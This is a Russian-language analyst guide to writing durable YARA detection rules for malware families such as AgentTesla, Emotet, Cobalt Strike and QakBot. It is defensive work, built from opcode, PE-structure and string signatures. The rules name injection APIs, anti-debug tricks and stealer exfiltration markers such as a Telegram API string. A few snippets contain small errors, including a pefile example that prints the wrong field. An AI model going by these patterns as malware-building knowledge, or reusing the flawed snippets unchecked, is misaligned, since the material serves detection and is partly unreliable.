Будни ревёрсера

YARA для семейств малвари: от образца к устойчивой сигнатуре

2026-06-16T12:11:00.557Z

Введение: почему сигнатуры на семейство — отдельная задача

Сигнатура на конкретный образец — это антивирусный хэш. Задача YARA-аналитика другая: написать правило, которое покроет всё семейство сразу, включая образцы которых ты ещё не видел, и не триггернет на легитимный код.

Это принципиально разные задачи. Хэш срабатывает ровно на один файл. Хорошее YARA-правило срабатывает на сотни образцов одного семейства — потому что оно описывает не конкретные байты конкретной сборки, а архитектурные и поведенческие константы всего семейства.

Проблема "сигнатура сломалась через неделю" почти всегда означает одно: в правиле были volatile-признаки — строки C2, мьютексы с таймштампом, случайные смещения в коде. Малварь обновилась, эти байты сменились, правило перестало работать.

Anti-fragile сигнатура строится иначе: она цепляется за то, что авторы малвари не могут поменять без переписывания всей архитектуры. Это опкодовые паттерны алгоритмов, структура PE, характеристики компоновщика, схемы XOR-расшифровки. Это то, что остаётся константным между кампаниями.

Гайд разбит по типам признаков: каждый раздел — отдельный класс индикаторов с практическими примерами правил, объяснением механики и анализом ошибок.

Раздел 1: Устойчивые признаки — что не меняется между кампаниями

Принцип выбора признаков

Перед написанием правила задать себе один вопрос: если авторы малвари выпустят следующую версию, это изменится?

Строки — меняются. C2-адреса — меняются каждые дни или недели. Имена мьютексов — меняются. Пути в реестре — меняются.

Не меняется: алгоритм расшифровки (потому что декриптор написан один раз и встроен в loader), структура конфига (потому что парсер конфига компилируется в бинарь), характеристики компоновщика (потому что семейство собирается одной и той же сборочной системой), схема anti-debug (потому что её пишет один человек и не трогает годами).

Практический отбор: кластерный анализ перед YARA

До написания правила нужно посмотреть на несколько образцов семейства. Минимум три-пять разных кампаний или версий.

Инструмент: bindiff для сравнения бинарей, или ручное сравнение в Ghidra через функцию "Compare". Смотреть: какие функции идентичны побайтово, какие похожи структурно, какие различаются. Идентичные и структурно похожие — кандидаты для сигнатуры.

Второй инструмент: capa (от MANDIANT). Он автоматически извлекает поведенческие характеристики — "использует RC4", "читает из реестра Run key", "вызывает NtWriteVirtualMemory". Если эти характеристики совпадают между образцами — они достаточно устойчивы.

Пример: устойчивый признак в AgentTesla

AgentTesla — стилер с многолетней историей. Строки C2 меняются ежедневно, мьютексы рандомизированы. Но семейство всегда использует один и тот же метод чтения clipboard через OpenClipboard + GetClipboardData + специфичный цикл обработки. Этот код не менялся с 2019 года.

rule AgentTesla_ClipboardSteal_Stable {
    meta:
        author      = "SOC-analyst"
        description = "AgentTesla clipboard harvesting - stable across versions"
        date        = "2024-01"
        tlp         = "WHITE"

    strings:
        // Устойчивый паттерн инициализации clipboard loop
        // OpenClipboard(0) -> GetClipboardData(CF_TEXT=1) -> GlobalLock
        $clip_seq = {
            6A 00           // push 0  (hwnd = NULL)
            FF 15 ?? ?? ?? ??   // call OpenClipboard
            85 C0           // test eax, eax
            74 ??           // jz (fail branch)
            6A 01           // push 1  (CF_TEXT)
            FF 15 ?? ?? ?? ??   // call GetClipboardData
            50              // push eax (hData)
            FF 15 ?? ?? ?? ??   // call GlobalLock
        }

    condition:
        uint16(0) == 0x5A4D and
        filesize < 5MB and
        $clip_seq
}

Маска ?? на адресах вызовов — потому что адреса IAT различаются между сборками. Паттерн push-последовательности остаётся константным.

Раздел 2: Opcode patterns — поиск по байт-последовательностям

Как читать опкоды для YARA

Дизасм показывает мнемоники. YARA работает с байтами. Конвертация происходит в голове аналитика или через плагины x64dbg/Ghidra.

Правила байт-паттернов:

Опкоды инструкций — стабильны. E8 — это CALL rel32 всегда.
Immediate-значения (константы, адреса) — маскировать через ?? или [1-4].
Относительные смещения в jmp/call — маскировать.
Регистровые опкоды (ModRM байт) — зависят от выбора компилятора, маскировать осторожно.

Инструмент для конвертации: в x64dbg выделить блок → правый клик → Copy → Bytes. В Ghidra: Listing → правый клик на инструкции → Copy → Bytes. В IDA: Edit → Copy Special → Byte string.

XOR-декриптор как устойчивый паттерн

Большинство семейств реализуют простой XOR-декриптор строк или конфига. Это цикл из 4-6 инструкций. Компилятор может оптимизировать его по-разному, но базовая структура остаётся.

Классический x86 XOR loop:

; input: ESI = src, EDI = dst, ECX = length, BL = key
xor_loop:
    MOV AL, [ESI]      ; 8A 06
    XOR AL, BL         ; 32 C3
    MOV [EDI], AL      ; 88 07
    INC ESI            ; 46
    INC EDI            ; 47
    DEC ECX            ; 49
    JNZ xor_loop       ; 75 F7

YARA-паттерн:

rule XOR_Decryptor_Simple_x86 {
    meta:
        description = "Simple XOR decryption loop - common in droppers/loaders"

    strings:
        // MOV AL, [reg] -> XOR AL, reg -> MOV [reg], AL -> INC/INC/DEC -> JNZ
        $xor_loop_v1 = {
            8A 0?           // mov al/cl, [reg]
            32 ??           // xor al/cl, reg
            88 0?           // mov [reg], al/cl
            4?              // inc reg
            4?              // inc reg
            4?              // dec reg (counter)
            75 ??           // jnz (loop back)
        }

        // Вариант с LODSB/STOSB (компилятор оптимизирует через rep)
        $xor_loop_v2 = {
            AC              // lodsb
            32 ??           // xor al, reg (key)
            AA              // stosb
            E2 ??           // loop (dec ecx, jnz)
        }

    condition:
        uint16(0) == 0x5A4D and
        any of ($xor_loop_*)
}

Rolling XOR — более сложный вариант

Многие современные семейства используют rolling key: ключ меняется на каждом байте (XOR с предыдущим зашифрованным байтом). Это частый паттерн в Emotet и похожих loader'ах.

; AL = текущий байт, BL = предыдущий расшифрованный байт (rolling key)
mov_byte:
    MOV AL, [ESI]      ; 8A 06
    XOR AL, BL         ; 32 C3
    MOV BL, [ESI]      ; 8A 1E  (сохраняем ЗАШИФРОВАННЫЙ байт как следующий ключ)
    MOV [EDI], AL      ; 88 07
    INC ESI            ; 46
    INC EDI            ; 47
    DEC ECX            ; 49
    JNZ               ; 75 F4

Ключевой признак rolling XOR: два чтения из [ESI] в одной итерации — одно для расшифровки, одно для сохранения ключа.

rule RollingXOR_Loader {
    meta:
        description = "Rolling XOR decryption - typical Emotet/Trickbot loader pattern"

    strings:
        $rolling = {
            8A 06           // mov al, [esi]   (load byte)
            32 C?           // xor al, reg     (decrypt)
            8A 1?           // mov bl/cl, [esi] (save encrypted as next key)
            88 0?           // mov [edi], al   (store decrypted)
            4?              // inc esi
            4?              // inc edi
            4?              // dec ecx
            75 ??           // jnz
        }

    condition:
        uint16(0) == 0x5A4D and $rolling
}

CPUID как anti-VM маркер

Многие семейства делают CPUID с EAX=1 и проверяют бит ECX[31] — hypervisor present. Опкод CPUID это 0F A2.

rule CPUID_AntiVM_Check {
    meta:
        description = "CPUID hypervisor check - anti-VM technique"

    strings:
        // MOV EAX, 1 -> CPUID -> TEST/BT ECX, bit31
        $cpuid_hv = {
            B8 01 00 00 00  // mov eax, 1
            0F A2           // cpuid
            F7 C1 00 00 00 80  // test ecx, 0x80000000  (bit 31)
        }

        // Вариант через BT (bit test)
        $cpuid_bt = {
            B8 01 00 00 00
            0F A2
            0F BA E1 1F     // bt ecx, 31
        }

    condition:
        uint16(0) == 0x5A4D and any of them
}

Раздел 3: PE features — структурные признаки исполняемого файла

Что читать в PE-заголовке для YARA

YARA даёт прямой доступ к байтам файла. PE-структура лежит в предсказуемых смещениях, и функции uint8(), uint16(), uint32() позволяют читать их напрямую без парсера.

Ключевые смещения:

Что Как читать DOS-сигнатура MZ uint16(0) == 0x5A4D PE-offset uint32(0x3C) Machine (x86/x64) uint16(uint32(0x3C) + 4) Number of sections uint16(uint32(0x3C) + 6) TimeDateStamp uint32(uint32(0x3C) + 8) SizeOfOptionalHeader uint16(uint32(0x3C) + 20) Subsystem uint16(uint32(0x3C) + 92) NumberOfRvaAndSizes uint32(uint32(0x3C) + 116)

Для удобства: в YARA 4.x есть встроенный модуль pe — через него удобнее. Но понимание сырых смещений критично для случаев когда структура повреждена или модуль не доступен.

Количество и имена секций как признак

Семейства, использующие один и тот же пакер или компоновщик, имеют характерное количество секций и их имена.

Пример: Cobalt Strike Beacon с deflate-компрессией. Характерный набор секций: .text, .rdata, .data, .reloc — и всё. Нет .rsrc. Нет секций с нестандартными именами. Размер .text секции в определённом диапазоне.

import "pe"

rule CobaltStrike_Beacon_PE_Layout {
    meta:
        description = "CS Beacon structural PE fingerprint - section layout"
        reference   = "internal analysis"

    condition:
        uint16(0) == 0x5A4D and
        pe.number_of_sections == 4 and
        pe.sections[0].name == ".text" and
        pe.sections[1].name == ".rdata" and
        pe.sections[2].name == ".data" and
        pe.sections[3].name == ".reloc" and
        // Нет ресурсов — типично для инжектируемого shellcode-beacon
        pe.data_directories[pe.DIRECTORY_ENTRY_RESOURCE].size == 0 and
        // Характерный диапазон размера
        pe.sections[0].raw_size > 0x5000 and
        pe.sections[0].raw_size < 0x50000
}

Подозрительные характеристики секций

RWX-секции (Read + Write + Execute) — прямой индикатор in-memory распаковки или shellcode.

import "pe"

rule PE_Section_RWX {
    meta:
        description = "Section with RWX permissions - unpacking or shellcode staging"

    condition:
        uint16(0) == 0x5A4D and
        for any i in (0 .. pe.number_of_sections - 1) : (
            pe.sections[i].characteristics & 0xE0000000 == 0xE0000000
            // 0x20000000 = EXECUTE, 0x40000000 = READ, 0x80000000 = WRITE
        )
}

Секция с нулевым RawSize при ненулевом VirtualSize — классический UPX0:

import "pe"

rule PE_UPX0_Style_Section {
    meta:
        description = "Section with zero raw size - UPX0 pattern or custom packer"

    condition:
        uint16(0) == 0x5A4D and
        for any i in (0 .. pe.number_of_sections - 1) : (
            pe.sections[i].raw_size == 0 and
            pe.sections[i].virtual_size > 0x1000
        )
}

Точка входа в нестандартной секции

У нормального PE точка входа лежит в .text. Если OEP указывает в другую секцию — это упакован или инжектирован код.

import "pe"

rule PE_OEP_Outside_Text {
    meta:
        description = "Entry point outside .text section"

    condition:
        uint16(0) == 0x5A4D and
        not (
            pe.entry_point >= pe.sections[0].virtual_address and
            pe.entry_point < pe.sections[0].virtual_address + pe.sections[0].virtual_size
        ) and
        pe.sections[0].name == ".text"
}

IAT минимализм как признак паккера

Нормальный PE имеет 5-15 импортированных библиотек. Паккер оставляет только минимум для bootstrap — обычно kernel32.dll с GetProcAddress + LoadLibraryA.

import "pe"

rule Packed_Minimal_IAT {
    meta:
        description = "Minimal IAT - packer/loader bootstrap pattern"

    strings:
        $gpa  = "GetProcAddress" ascii
        $lla  = "LoadLibraryA" ascii

    condition:
        uint16(0) == 0x5A4D and
        pe.number_of_imports < 3 and
        $gpa and $lla and
        // Высокая энтропия подтверждает что это не просто маленький PE
        math.entropy(0, filesize) > 6.5
}

Раздел 4: Rich Header — отпечаток инструментальной цепочки

Что такое Rich Header

Rich Header — блок данных между DOS-заглушкой и PE-сигнатурой. Он создаётся компоновщиком Microsoft Visual C++ и содержит список инструментов сборки: версии компилятора, ассемблера, компоновщика, и количество объектных файлов каждого типа.

Rich Header не является частью PE-стандарта и игнорируется загрузчиком. Но он несёт ценную информацию: по нему можно определить точную версию Visual Studio, и — критично для YARA — образцы, собранные одной и той же сборочной системой, будут иметь идентичный или очень похожий Rich Header.

Формат Rich Header

Структура: XOR-закодированный блок, начинается с сигнатуры DanS (в XOR), заканчивается сигнатурой Rich + XOR-ключ (4 байта). Ключ — это само значение для расшифровки.

После расшифровки: массив пар {CompId, Count} по 8 байт каждая. CompId кодирует тип инструмента и его версию.

Для поиска в сыром виде: искать 52 69 63 68 ("Rich") — это маркер конца блока. XOR-ключ стоит сразу после него.

Rich Header как семейственная сигнатура

Если несколько образцов одного семейства собраны одним и тем же билд-сервером с одними и теми же версиями инструментов — их Rich Header будет идентичен (после XOR с соответствующим ключом). Но сам ключ меняется между сборками.

Поэтому ищем не весь блок, а структурную константу: набор CompId без привязки к конкретному ключу.

Инструмент для анализа: richprint (open source), или DIE который показывает Rich Header во вкладке. Также: pefile Python library через rich_header.

import pefile
pe = pefile.PE("sample.exe")
if hasattr(pe, "RICH_HEADER"):
    for entry in pe.RICH_HEADER.values:
        print(f"CompId: {entry['count']:#010x}, Count: {entry['count']}")

YARA-правило на Rich Header паттерн

Задача: искать конкретный набор CompId, не завися от XOR-ключа.

Это сложнее прямого поиска, потому что значения в файле XOR-ены. Но: если взять несколько образцов одного семейства и проверить, какие байты встречаются в Rich Header всех из них — найдётся инвариант.

Практический подход: декодировать Rich Header из нескольких образцов, найти пересечение CompId, написать YARA на сырые XOR-значения используя тот факт что ключ находится сразу после Rich.

Альтернативный подход для YARA — искать характерный набор инструментов через косвенные признаки, например сочетание версии компоновщика (которая часто видна в Debug Directory) и специфичных строк:

import "pe"

rule RichHeader_VS2019_Specific_Toolchain {
    meta:
        description = "VS2019 v16.x toolchain - specific linker version in optional header"
        note        = "Linker 14.2x = VS2019"

    condition:
        uint16(0) == 0x5A4D and
        // Linker version: major.minor из Optional Header
        // Offset: PE_offset + 0x1A (MajorLinkerVersion) и +0x1B (MinorLinkerVersion)
        uint8(uint32(0x3C) + 0x1A) == 14 and        // MajorLinkerVersion = 14
        uint8(uint32(0x3C) + 0x1B) >= 20 and         // MinorLinkerVersion >= 20 (VS2019)
        uint8(uint32(0x3C) + 0x1B) < 30              // MinorLinkerVersion < 30 (до VS2022)
}

Для точного матчинга по сырому Rich Header — заранее декодировать образцы и искать константную последовательность раскодированных CompId:

rule RichHeader_Specific_Build_Env {
    meta:
        description = "Specific build environment fingerprint via Rich Header"
        note        = "CompIds decoded from 3 samples of same campaign"

    strings:
        // Это пример - реальные значения берутся из конкретных образцов семейства
        // После декодирования Rich Header из трёх образцов были найдены эти CompId
        $rich_marker = { 52 69 63 68 }   // "Rich" - конец блока

    condition:
        uint16(0) == 0x5A4D and
        $rich_marker in (0x40..0x200)    // Rich Header всегда в первых 512 байтах
}

Раздел 5: Section layout — компоновка секций как отпечаток

Почему компоновка секций устойчива

Компоновщик создаёт секции по правилам, встроенным в его алгоритм. Разные версии компоновщиков создают разные "подписи" в расположении и именовании секций. Паккеры добавляют секции с характерными именами. Кастомные сборочные системы оставляют специфичный след.

Ключевые параметры для анализа: количество секций, их имена, порядок, соотношение VirtualSize и RawSize, значения FileAlignment и SectionAlignment.

Паттерны специфичных паккеров

MPRESS: характерные имена .MPRESS1 и .MPRESS2.

import "pe"

rule Packer_MPRESS {
    meta:
        description = "MPRESS packer - section name fingerprint"

    condition:
        uint16(0) == 0x5A4D and
        pe.number_of_sections >= 2 and
        (
            pe.sections[0].name == ".MPRESS1" or
            pe.sections[1].name == ".MPRESS2"
        )
}

Themida/WinLicense: секции с именами .themida, .winlice, или характерные имена в верхнем регистре.

NSPack: всегда три секции, последняя имеет имя .nsp1 или пустое имя с RWX флагами.

AutoIT-compiled: один из надёжных признаков — секция .rsrc содержащая ресурс с именем SCRIPT и типом RCDATA. Скрипт AutoIT хранится там.

import "pe"

rule AutoIT_Compiled_Script {
    meta:
        description = "Compiled AutoIT script - SCRIPT resource"

    strings:
        $autoit_magic = "AU3!EA06" ascii  // AutoIT3 script magic

    condition:
        uint16(0) == 0x5A4D and
        $autoit_magic
}

Выравнивание как признак нестандартной сборки

Нормальные PE-файлы используют FileAlignment = 0x200 (512 байт) или 0x1000 (4096 байт). Нестандартные значения — признак ручной сборки или модификации заголовка.

rule PE_NonStandard_Alignment {
    meta:
        description = "Non-standard FileAlignment - manually crafted PE"

    condition:
        uint16(0) == 0x5A4D and
        // FileAlignment в Optional Header: offset 0x3C + PE_sig(4) + COFF(20) + 0x24
        uint32(uint32(0x3C) + 60) != 0x200 and
        uint32(uint32(0x3C) + 60) != 0x1000 and
        uint32(uint32(0x3C) + 60) != 0x400
}

Соотношение VirtualSize и RawSize

При паковке: RawSize маленький (сжатый код), VirtualSize большой (место для распаковки). Соотношение VirtualSize/RawSize > 10 — сильный индикатор.

import "pe"

rule PE_High_Virtual_To_Raw_Ratio {
    meta:
        description = "High VirtualSize/RawSize ratio - packer decompression space"

    condition:
        uint16(0) == 0x5A4D and
        for any i in (0 .. pe.number_of_sections - 1) : (
            pe.sections[i].raw_size > 0 and
            pe.sections[i].virtual_size > pe.sections[i].raw_size * 10
        )
}

Раздел 6: XOR-маски — поиск зашифрованных конфигов

Как малварь хранит зашифрованные данные

Конфиг (C2, порты, ключи) обычно хранится в одном из трёх мест: в секции .data как бинарный blob, в секции .rsrc как ресурс, в оверлее (append-зоне после последней секции).

Задача: написать YARA-правило которое найдёт зашифрованный конфиг не зная ключа.

Entropy-паттерны для обнаружения зашифрованных блоков

XOR-шифрование с коротким ключом (1-4 байта) даёт характерное распределение байт: энтропия умеренная (5.5-7.0), не такая высокая как AES (7.9+). AES и RC4 дают близкую к равномерной энтропию.

import "math"

rule Encrypted_Config_Blob {
    meta:
        description = "High-entropy blob - encrypted config or payload"

    condition:
        uint16(0) == 0x5A4D and
        filesize < 2MB and
        // Средняя энтропия файла высокая
        math.entropy(0, filesize) > 6.8 and
        // Но не максимальная (не случайные данные)
        math.entropy(0, filesize) < 7.8
}

Более точный подход: искать высокоэнтропийный блок конкретного размера внутри файла. Модуль math в YARA 4.x поддерживает math.entropy(offset, size):

import "math"

rule Encrypted_Payload_Section {
    meta:
        description = "High-entropy section of 4-64KB - typical config/payload size"

    condition:
        uint16(0) == 0x5A4D and
        // Ищем блок 0x1000-0x10000 байт с высокой энтропией
        for any offset in (0x400 .. filesize - 0x1000) : (
            math.entropy(offset, 0x1000) > 7.2
        )
}

Поиск XOR-ключа через known-plaintext

Если известна часть открытого текста (например, конфиг всегда начинается с известной сигнатуры или версии), можно восстановить XOR-ключ и затем искать его в файле.

Допустим конфиг начинается с ASCII-строки "http" (0x68 0x74 0x74 0x70). Если зашифрованный конфиг начинается с байт XX YY ZZ WW, то ключ байт 1 = 0x68 XOR XX, байт 2 = 0x74 XOR YY, и так далее. Найти этот ключ в файле и написать сигнатуру.

Rolling-XOR конфиг с маркером

Многие семейства предваряют зашифрованный блок маркером длины или сигнатурой. Например, первые 4 байта = длина зашифрованного блока, следующие N байт = payload.

rule Config_Length_Prefixed_Blob {
    meta:
        description = "Length-prefixed encrypted blob - common config pattern"

    strings:
        // Маркер: DWORD длина, за которым сразу идут шифрованные данные
        // Длина обычно в диапазоне 0x100 - 0x10000
        $len_prefix = {
            [4-4]           // DWORD length (любые 4 байта)
            ( E? | F? | 8? | 9? | A? | B? )   // первый байт зашифрованного блока
                                                 // не 00 и не FF (не пустые/заполненные данные)
        }

    condition:
        uint16(0) == 0x5A4D and $len_prefix
}

Поиск XOR с константным ключом через статистику

Байты, XOR-ованные с константным однобайтным ключом, сохраняют частотное распределение исходного текста. Если ключ — нулевой байт, данные не изменятся. Ненулевой ключ сдвигает распределение.

В YARA нельзя делать статистический анализ напрямую, но можно искать паттерны результата. Например: если конфиг содержит много нулевых байт (padding, нулевые порты), они XOR-уются в значение ключа. Искать повторяющийся байт через hex-паттерн:

rule XOR_Encrypted_With_Repeated_Byte {
    meta:
        description = "Repeated byte pattern - suggests XOR with constant key (null bytes)"
        note        = "Change 0xAB to actual repeated byte found in samples"

    strings:
        // Если ключ = 0xAB, то нулевые байты конфига станут 0xAB
        // Искать серию повторяющихся байт (padding -> XOR key bytes)
        $repeated_xor_key = { AB AB AB AB AB AB AB AB }

    condition:
        uint16(0) == 0x5A4D and $repeated_xor_key
}

Раздел 7: Anti-fragile сигнатуры — архитектурные константы

Принцип anti-fragile для YARA

Anti-fragile сигнатура — та, которая становится сильнее при попытке авторов её обойти. Это достигается через комбинирование признаков разных уровней: один признак можно убрать, три связанных — уже сложнее.

Структура anti-fragile правила: несколько независимых признаков разных классов (структурный + поведенческий + строковый), объединённых через логику X из N.

Комбинированное правило: пример для Formbook/XLoader

Formbook имеет: характерный метод инжекции через NtQuerySystemInformation для поиска процессов, специфичный anti-debug через NtSetInformationThread с ThreadHideFromDebugger, и характерную структуру PE без ресурсов.

import "pe"

rule Formbook_XLoader_Combined {
    meta:
        description = "Formbook/XLoader - combined multi-layer signature"
        author      = "SOC-analyst"
        date        = "2024-01"
        families    = "Formbook, XLoader"

    strings:
        // Anti-debug: NtSetInformationThread с ThreadHideFromDebugger (0x11)
        $antidebug_hide = {
            6A 11           // push 11h (ThreadHideFromDebugger)
            6A 00           // push 0 (ThreadInformationLength = 0)
            6A 00           // push NULL (ThreadInformation)
            FF 75 ??        // push [ebp+hThread]
            FF 15 ?? ?? ?? ??  // call NtSetInformationThread
        }

        // NtQuerySystemInformation для enumeration процессов
        $proc_enum = {
            6A ??           // push size
            FF 75 ??        // push buffer
            6A ??           // push length
            6A 05           // push 5 (SystemProcessInformation)
            FF 15 ?? ?? ?? ??  // call NtQuerySystemInformation
        }

        // Характерный мьютекс-паттерн (не конкретное значение, а формат)
        $mutex_fmt = /[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}/

    condition:
        uint16(0) == 0x5A4D and
        pe.data_directories[pe.DIRECTORY_ENTRY_RESOURCE].size == 0 and
        filesize < 1MB and
        2 of ($antidebug_hide, $proc_enum, $mutex_fmt)
}

Правило с условием "2 из 5" — устойчивость к модификациям

Авторы малвари убирают один признак — правило всё равно срабатывает:

import "pe"
import "math"

rule Loader_AntiFragile_2of5 {
    meta:
        description = "Generic loader fingerprint - robust to partial modification"

    strings:
        // Признак 1: VirtualAlloc + PAGE_EXECUTE_READWRITE
        $va_rwx = {
            6A 40           // push 40h (PAGE_EXECUTE_READWRITE)
            68 ?? ?? ?? ??  // push flAllocationType
            68 ?? ?? 00 00  // push size
            6A 00           // push NULL (lpAddress)
            FF 15 ?? ?? ?? ??  // call VirtualAlloc
        }

        // Признак 2: WriteProcessMemory
        $wpm = "WriteProcessMemory" ascii

        // Признак 3: CreateRemoteThread
        $crt = "CreateRemoteThread" ascii

        // Признак 4: NtUnmapViewOfSection (Process Hollowing)
        $unmap = "NtUnmapViewOfSection" ascii

        // Признак 5: Характерный XOR loop
        $xor_loop = {
            8A 0?
            32 ??
            88 0?
            4?
            4?
            75 ??
        }

    condition:
        uint16(0) == 0x5A4D and
        filesize < 5MB and
        math.entropy(0, filesize) > 6.0 and
        2 of ($va_rwx, $wpm, $crt, $unmap, $xor_loop)
}

Временна́я устойчивость: не цепляться за C2

Самая распространённая ошибка — включить в правило IP-адрес или домен C2. Это работает ровно до первой смены инфраструктуры — то есть дни или недели.

Правильный подход: писать правило на метаданные строк C2, а не на их значения.

Например, Emotet хранит список C2 как массив структур {IP, PORT} в зашифрованном виде. Признак — не конкретные IP, а количество и размер этого массива, плюс структура декриптора.

import "pe"

rule Emotet_C2_List_Structure {
    meta:
        description = "Emotet C2 list structural fingerprint - not hardcoded IPs"
        note        = "IP:PORT struct array, typically 64-100 entries * 6 bytes = 384-600 bytes"

    strings:
        // Декриптор структуры C2-листа: характерный паттерн обхода массива
        // ADD REG, 6 — шаг 6 байт (4 байта IP + 2 байта PORT)
        $c2_loop_step = {
            83 C? 06        // add reg, 6  (next C2 entry, 4+2 bytes)
            3B ??           // cmp reg, reg (boundary check)
            72 ??           // jb (loop back)
        }

    condition:
        uint16(0) == 0x5A4D and
        $c2_loop_step
}

Семантические константы: магические числа алгоритмов

Криптографические алгоритмы содержат неизменяемые константы. Это self-evident anti-fragile признаки — убрать их нельзя, потому что без них алгоритм не работает.

RC4 (KSA инициализация):

rule RC4_KSA_Implementation {
    meta:
        description = "RC4 Key Scheduling Algorithm - constant loop 0-255"

    strings:
        // Инициализация S-блока: for(i=0; i<256; i++) S[i] = i
        // Паттерн: счётчик до 256 (0x100), инкремент/сохранение
        $rc4_sbox_init = {
            33 C9           // xor ecx, ecx  (i = 0)
            88 0C ??        // mov [reg+ecx], cl (S[i] = i)
            41              // inc ecx
            81 F9 00 01 00 00  // cmp ecx, 100h (256)
            72 ??           // jb (loop)
        }

    condition:
        uint16(0) == 0x5A4D and $rc4_sbox_init
}

CRC32 полином (0xEDB88320 — reversed):

rule CRC32_Polynomial_Constant {
    meta:
        description = "CRC32 polynomial constant - integrity check or hashing"

    strings:
        $crc32_poly = { 20 83 B8 ED }   // 0xEDB88320 little-endian

    condition:
        uint16(0) == 0x5A4D and $crc32_poly
}

Раздел 8: Написание правил для конкретных семейств

Метаданные правила — стандарт оформления

Правило без метаданных — это потерянное правило. Минимальный обязательный набор:

rule FamilyName_Variant_Component {
    meta:
        author      = "analyst-handle"
        description = "Краткое описание что именно детектирует"
        date        = "YYYY-MM"
        version     = "1.0"
        tlp         = "WHITE / GREEN / AMBER / RED"
        reference   = "URL или внутренний тикет"
        families    = "через запятую если покрывает несколько"
        hash        = "sha256 образца-источника (первый из которых написано правило)"
        tags        = "loader, dropper, stealer — категория"
}

Соглашение по именованию: Семейство_Вариант_Компонент. Например: AgentTesla_v3_Clipboard, Emotet_Loader_C2List, CobaltStrike_Beacon_x64_Staged.

Глубокий пример: QakBot/Qbot

QakBot — долгоживущее семейство с многолетней историей модификаций. Устойчивые признаки: характерный формат конфига (версия, campaign ID, timestamp, C2-лист), специфичный метод injection через SetWindowsHookExA, и характерный анти-анализ через cpuid+rdtsc.

import "pe"
import "math"

rule QakBot_Core_MultiVersion {
    meta:
        author      = "SOC-analyst"
        description = "QakBot core module - structural + behavioral fingerprint"
        date        = "2024-01"
        version     = "2.0"
        tlp         = "GREEN"
        families    = "QakBot, Qbot, Pinkslipbot"
        reference   = "internal"

    strings:
        // Campaign ID lookup - QakBot хранит строку вида "BB" или "obama" перед конфигом
        // Паттерн доступа к campaign строке в памяти
        $campaign_access = {
            8D ?? ??        // lea reg, [reg+offset]  (адрес campaign string)
            50              // push eax
            E8 ?? ?? ?? ??  // call  (encrypt/hash campaign id)
            83 C4 04        // add esp, 4
        }

        // SetWindowsHookEx injection pattern
        $hook_inject = {
            6A ??           // push hook type
            FF 75 ??        // push [ebp+proc_handle]
            FF 75 ??        // push [ebp+hmod]
            FF 15 ?? ?? ?? ??  // call SetWindowsHookExA/W
            85 C0
            74 ??           // jz fail
        }

        // Anti-analysis: двойной RDTSC + сравнение
        $timing_check = {
            0F 31           // rdtsc  (first)
            89 ?? ??        // mov [ebp+var], eax  (save)
            ?? ?? ??        // some instructions
            0F 31           // rdtsc  (second)
            2B C?           // sub eax, reg  (diff)
            3D ?? ?? 00 00  // cmp eax, threshold
        }

        // Характерный mutex формат QakBot: "{GUID}" в Wide string
        $mutex_pattern = /\{[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\}/ wide

    condition:
        uint16(0) == 0x5A4D and
        pe.is_dll() and                     // QakBot core module — DLL
        filesize > 0x10000 and              // Минимальный разумный размер
        filesize < 0x200000 and
        math.entropy(0, filesize) < 7.0 and // Не упакован (или легко распакован)
        2 of ($campaign_access, $hook_inject, $timing_check, $mutex_pattern)
}

Пример для .NET семейства: Agent Tesla v3

.NET малварь отличается: её тело — MSIL, а не нативный x86/x64. Opcode-паттерны другие — это IL-байткод. Зато строки часто видны даже без де-обфускации.

import "pe"
import "dotnet"

rule AgentTesla_v3_dotNET {
    meta:
        description = "AgentTesla v3 - .NET stealer fingerprint"
        families    = "AgentTesla"

    strings:
        // Характерные строки обращения к SMTP/Telegram C2
        $smtp_header = "MIME-Version: 1.0" ascii wide
        $telegram_api = "api.telegram.org" ascii wide

        // Специфичный формат отчёта AgentTesla
        $report_header = "---------- PC NAME" ascii wide
        $os_info = "OS Full Name" ascii wide

        // Keylogger callback names (стабильны между версиями)
        $kl_func = "KeyboardHook" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        // Это .NET сборка
        pe.data_directories[pe.DIRECTORY_ENTRY_COM_DESCRIPTOR].size > 0 and
        (
            ($smtp_header and $report_header) or
            ($telegram_api and $kl_func) or
            ($os_info and $kl_func and $report_header)
        )
}

Раздел 9: Верификация и тестирование правил

Pipeline проверки перед релизом правила

Написать правило — половина работы. Вторая половина — убедиться что оно работает как задумано.

Шаг 1: True Positive rate. Прогнать по набору известных образцов семейства. Минимум 10 разных образцов из разных кампаний. Целевой показатель: срабатывание на 80%+ образцов. Если меньше — признаки слишком специфичны.

yara -r rule.yara /path/to/samples/ 2>/dev/null | grep "rule_name" | wc -l

Шаг 2: False Positive rate. Прогнать по чистому набору — системные DLL, стандартные утилиты, популярный open-source код. Ноль ложных срабатываний — обязательное условие для production.

yara -r rule.yara /path/to/clean_samples/ 2>/dev/null
# Вывод должен быть пустым

Шаг 3: Performance. Правило с плохим паттерном (например, однобайтовая строка) будет тормозить сканирование. Тест:

time yara rule.yara /path/to/large_corpus/
# Если > 1 секунды на 1000 файлов — смотреть на паттерны

Частые причины ложных срабатываний

Слишком короткие строки: строка длиной меньше 4 байт будет находиться в случайных файлах. Минимум для hex-паттерна — 6-8 байт с редкими значениями.

Опкоды без контекста: 75 ?? (JNZ) встречается в любом файле. Всегда оборачивать в более длинный паттерн.

Общие API-имена: VirtualAlloc в строках импортирует почти каждый упаковщик, включая UPX-упакованные легитимные файлы. Использовать только в комбинации с другими признаками.

Энтропия как единственный признак: правило только на высокую энтропию даст 50%+ ложных срабатываний на любые зашифрованные файлы данных.

Инструменты для тестирования

YARA сам по себе: yara -r rule.yara directory/ — рекурсивный обход.

yarGen: генерирует строковые признаки из образца, автоматически фильтруя признаки встречающиеся в чистых файлах.

BASS (Bulk YARA Signature Scanner): тестирование на больших корпусах.

VirusTotal Livehunt: если правило публичное, можно проверить в условиях реального потока. Но: никогда не загружать non-public правила в VT.

CAPE sandbox: автоматически создаёт YARA-правила из динамического анализа. Использовать как отправную точку, не как финальный результат.

Финальный вывод

Иерархия устойчивости признаков

От наименее к наиболее устойчивым:

C2-адреса и домены → Строки сообщений об ошибках → Имена мьютексов → Имена файлов и пути → Строки конфигурации → Структура PE и компоновка секций → Опкодовые паттерны алгоритмов → Криптографические константы → Rich Header → Архитектура декриптора.

Последние три категории — основа anti-fragile сигнатуры.

Чек-лист перед релизом правила

Прежде чем правило уходит в production:

